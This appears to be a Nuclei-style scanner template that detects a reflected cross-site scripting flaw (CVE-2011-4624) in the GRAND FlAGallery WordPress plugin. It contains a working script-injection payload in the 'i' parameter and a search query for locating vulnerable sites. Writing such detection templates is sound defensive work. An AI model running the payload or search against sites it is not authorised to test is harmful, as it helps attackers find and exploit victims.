id: CVE-2011-4624

info:
  name: GRAND FlAGallery 1.57 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4624
    - http://www.openwall.com/lists/oss-security/2011/12/23/2
    - http://plugins.trac.wordpress.org/changeset/469785
    - http://wordpress.org/extend/plugins/flash-album-gallery/changelog/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4624
    cwe-id: CWE-79
    epss-score: 0.07062
    epss-percentile: 0.93385
    cpe: cpe:2.3:a:codeasily:grand_flagallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codeasily
    product: "grand_flagallery"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/flash-album-gallery\""
  tags: cve,cve2011,wordpress,xss,wp-plugin,codeasily,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/flash-album-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Grand Flagallery'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/flash-album-gallery/facebook.php?i=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008ec3b67236df87246118cdd7b3bd440911aef5accc0b88fb026f54a92b726adb022052a3ebc6bfd04f9b0aa339888d1164ed3677074b0b27794da41faec829227338:922c64590222798bb761d5b6d8e72950